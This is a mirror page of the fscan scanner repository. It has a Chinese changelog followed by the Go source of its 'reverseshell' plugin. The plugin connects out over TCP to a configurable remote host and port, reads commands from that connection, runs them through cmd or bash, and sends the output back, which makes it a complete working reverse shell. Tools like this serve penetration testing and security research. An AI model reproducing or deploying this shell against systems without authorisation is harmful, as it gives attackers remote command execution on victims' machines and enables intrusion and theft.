mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 19:21:52 +08:00
## 架构重构
- 全局变量消除,迁移至 Config/State 对象
- SMB 插件融合(smb/smb2/smbghost/smbinfo)
- 服务探测重构,实现 Nmap 风格 fallback 机制
- 输出系统重构,TXT 实时刷盘 + 双写机制
- i18n 框架升级至 go-i18n
## 性能优化
- 正则表达式预编译
- 内存优化 map[string]struct{}
- 并发指纹匹配
- SOCKS5 连接复用
- 滑动窗口调度 + 自适应线程池
## 新功能
- Web 管理界面
- 多格式 POC 适配(xray/afrog)
- 增强指纹库(3139条)
- Favicon hash 指纹识别
- 插件选择性编译(Build Tags)
- fscan-lab 靶场环境
- 默认端口扩展(62→133)
## 构建系统
- 添加 no_local tag 支持排除本地插件
- 多版本构建:fscan/fscan-nolocal/fscan-web
- CI 添加 snapshot 模式支持仅测试构建
## Bug 修复
- 修复 120+ 个问题,包括 RDP panic、批量扫描漏报、
JSON 输出格式、Redis 检测、Context 超时等
## 测试增强
- 单元测试覆盖率 74-100%
- 并发安全测试
- 集成测试(Web/端口/服务/SSH/ICMP)
193 lines
4.3 KiB
Go
193 lines
4.3 KiB
Go
//go:build (plugin_reverseshell || !plugin_selective) && !no_local
|
|
|
|
package local
|
|
|
|
import (
|
|
"bufio"
|
|
"context"
|
|
"fmt"
|
|
"io"
|
|
"net"
|
|
"os"
|
|
"os/exec"
|
|
"runtime"
|
|
"strconv"
|
|
"strings"
|
|
|
|
"github.com/shadow1ng/fscan/common"
|
|
"github.com/shadow1ng/fscan/common/i18n"
|
|
"github.com/shadow1ng/fscan/plugins"
|
|
)
|
|
|
|
// ReverseShellPlugin 反向Shell插件
|
|
// 设计哲学:直接实现,删除过度设计
|
|
// - 删除复杂的继承体系
|
|
// - 直接实现反弹Shell功能
|
|
// - 保持原有功能逻辑
|
|
type ReverseShellPlugin struct {
|
|
plugins.BasePlugin
|
|
}
|
|
|
|
// NewReverseShellPlugin 创建反弹Shell插件
|
|
func NewReverseShellPlugin() *ReverseShellPlugin {
|
|
return &ReverseShellPlugin{
|
|
BasePlugin: plugins.NewBasePlugin("reverseshell"),
|
|
}
|
|
}
|
|
|
|
// GetName 实现Plugin接口
|
|
|
|
// Scan 执行反弹Shell - 直接实现
|
|
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
|
var output strings.Builder
|
|
|
|
// 从config获取配置
|
|
target := config.LocalExploit.ReverseShellTarget
|
|
if target == "" {
|
|
target = "127.0.0.1:4444"
|
|
}
|
|
|
|
// 解析目标地址
|
|
host, portStr, err := net.SplitHostPort(target)
|
|
if err != nil {
|
|
host = target
|
|
portStr = "4444"
|
|
}
|
|
|
|
port, err := strconv.Atoi(portStr)
|
|
if err != nil {
|
|
port = 4444
|
|
}
|
|
|
|
output.WriteString("=== Go原生反弹Shell ===\n")
|
|
output.WriteString(fmt.Sprintf("目标: %s\n", target))
|
|
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
|
|
|
// 启动反弹Shell
|
|
err = p.startNativeReverseShell(ctx, host, port, state)
|
|
if err != nil {
|
|
output.WriteString(fmt.Sprintf("反弹Shell错误: %v\n", err))
|
|
return &plugins.Result{
|
|
Success: false,
|
|
Output: output.String(),
|
|
Error: err,
|
|
}
|
|
}
|
|
|
|
output.WriteString("✓ 反弹Shell已完成\n")
|
|
common.LogSuccess(i18n.Tr("reverseshell_complete", target))
|
|
|
|
return &plugins.Result{
|
|
Success: true,
|
|
Type: plugins.ResultTypeService,
|
|
Output: output.String(),
|
|
Error: nil,
|
|
}
|
|
}
|
|
|
|
// startNativeReverseShell 启动Go原生反弹Shell
|
|
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State) error {
|
|
// 连接到目标
|
|
conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
|
|
if err != nil {
|
|
return fmt.Errorf("连接失败: %w", err)
|
|
}
|
|
defer func() { _ = conn.Close() }()
|
|
|
|
common.LogSuccess(i18n.Tr("reverseshell_connected", host, port))
|
|
|
|
// 设置反弹Shell为活跃状态
|
|
state.SetReverseShellActive(true)
|
|
defer func() {
|
|
state.SetReverseShellActive(false)
|
|
}()
|
|
|
|
// 发送欢迎消息
|
|
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
|
|
_, _ = conn.Write([]byte(welcomeMsg))
|
|
_, _ = conn.Write([]byte("Type 'exit' to quit\n"))
|
|
|
|
// 创建读取器
|
|
reader := bufio.NewReader(conn)
|
|
|
|
for {
|
|
// 检查上下文取消
|
|
select {
|
|
case <-ctx.Done():
|
|
_, _ = conn.Write([]byte("Shell session terminated by context\n"))
|
|
return ctx.Err()
|
|
default:
|
|
}
|
|
|
|
// 发送提示符
|
|
prompt := fmt.Sprintf("%s> ", getCurrentDir())
|
|
_, _ = conn.Write([]byte(prompt))
|
|
|
|
// 读取命令
|
|
cmdLine, err := reader.ReadString('\n')
|
|
if err != nil {
|
|
if err == io.EOF {
|
|
return nil
|
|
}
|
|
return fmt.Errorf("读取命令错误: %w", err)
|
|
}
|
|
|
|
// 清理命令
|
|
cmdLine = strings.TrimSpace(cmdLine)
|
|
if cmdLine == "" {
|
|
continue
|
|
}
|
|
|
|
// 检查退出命令
|
|
if cmdLine == "exit" {
|
|
_, _ = conn.Write([]byte("Goodbye!\n"))
|
|
return nil
|
|
}
|
|
|
|
// 执行命令
|
|
result := p.executeCommand(cmdLine)
|
|
|
|
// 发送结果
|
|
_, _ = conn.Write([]byte(result + "\n"))
|
|
}
|
|
}
|
|
|
|
// executeCommand 执行系统命令
|
|
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
|
|
var cmd *exec.Cmd
|
|
|
|
// 根据操作系统选择命令解释器
|
|
switch runtime.GOOS {
|
|
case "windows":
|
|
cmd = exec.Command("cmd", "/C", cmdLine)
|
|
case "linux", "darwin":
|
|
cmd = exec.Command("bash", "-c", cmdLine)
|
|
default:
|
|
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
|
|
}
|
|
|
|
// 执行命令并获取输出
|
|
output, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
return fmt.Sprintf("错误: %v\n%s", err, string(output))
|
|
}
|
|
|
|
return string(output)
|
|
}
|
|
|
|
// getCurrentDir 获取当前目录
|
|
func getCurrentDir() string {
|
|
dir, err := os.Getwd()
|
|
if err != nil {
|
|
return "unknown"
|
|
}
|
|
return dir
|
|
}
|
|
|
|
// 注册插件
|
|
func init() {
|
|
RegisterLocalPlugin("reverseshell", func() Plugin {
|
|
return NewReverseShellPlugin()
|
|
})
|
|
}
|